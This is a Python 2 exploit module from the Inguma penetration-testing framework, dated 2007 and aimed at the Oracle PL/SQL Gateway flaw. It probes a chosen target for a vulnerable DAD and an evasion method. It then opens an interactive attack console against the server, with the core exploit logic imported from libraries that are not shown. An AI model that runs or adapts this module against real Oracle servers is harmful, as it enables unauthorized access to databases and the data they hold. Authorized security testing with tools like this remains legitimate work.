#!/usr/bin/python

"""
Module Oracle PL/SQL Gateway exploit for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

import sys

from lib.libexploit import CIngumaModule
from lib.libvulnoas import getVulnerableDad

name = "oragateway"
brief_description = "An exploit for the Oracle PL/SQL Gateway flaw"
type = "exploit"

globals = ["dad", "method"]

class COraPlsqlGateway(CIngumaModule):

    target = ""
    port = ""
    timeout = 0
    ssl = False
    dad = None
    method = None

    def help(self):
        """ This is the entry point for info <module> """
        print "target = <target host or network>"
        print "port = <target port>"
        print "ssl = <use ssl>"
        print "timeout = <timeout>"

    def runExploit(self):    
        ret = getVulnerableDad(self.target, self.port, self.timeout, self.ssl, 1) #Return type 1, return the DAD and the Method

        if not ret:
            print "[!] No suitable PL/SQL gateway evasion method found :("
            return False

        if ret: 
            self.dad = ret[0]
            self.method = ret[1]
            print "[i] Available DAD %s, available method %s" % (self.dad, self.method)

            self.runCommand("oratool", {"console":True, "dad":self.dad, "method":self.method, "ssl":self.ssl})

        return False

    def run(self):
        if self.target == "" or self.target == None:
            print "No target specified"
            return False
        
        if self.port == 0 or self.port == None:
            print "[!] Warning! No port specified, using default port 80"
            self.port = 80

        return self.runExploit()

    def printSummary(self):
        pass

